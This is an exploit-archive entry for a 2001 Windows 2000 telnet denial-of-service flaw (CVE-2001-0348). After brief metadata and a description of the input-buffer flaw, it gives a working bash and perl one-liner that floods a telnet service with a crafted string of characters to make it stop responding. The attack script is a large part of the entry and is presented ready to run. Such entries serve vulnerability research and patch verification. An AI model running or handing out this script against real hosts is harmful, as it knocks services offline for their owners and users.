Microsoft Windows Server 2000 - Telnet 'Username' Denial of Service

Author: Michal Zalewski
type: dos
platform: windows
port: 
date_added: 2001-06-07 
date_updated: 2012-08-29 
verified: 1 
codes: CVE-2001-0348;OSVDB-1858 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/2838/info

Due to a flaw in the implementation of the telnet service, it is possible for a remote client to perform a denial of service attack against a host.

If approximately 4300 characters already exist in the input buffer and additional numerous specially chosen characters are provided, the service will stop responding.

#!/bin/bash
  ( sleep 1
    perl -e '{printf "%s\x7f%s","A"x4500,"A"x100}'
    sleep 3
  ) | telnet victimbox
  - eof -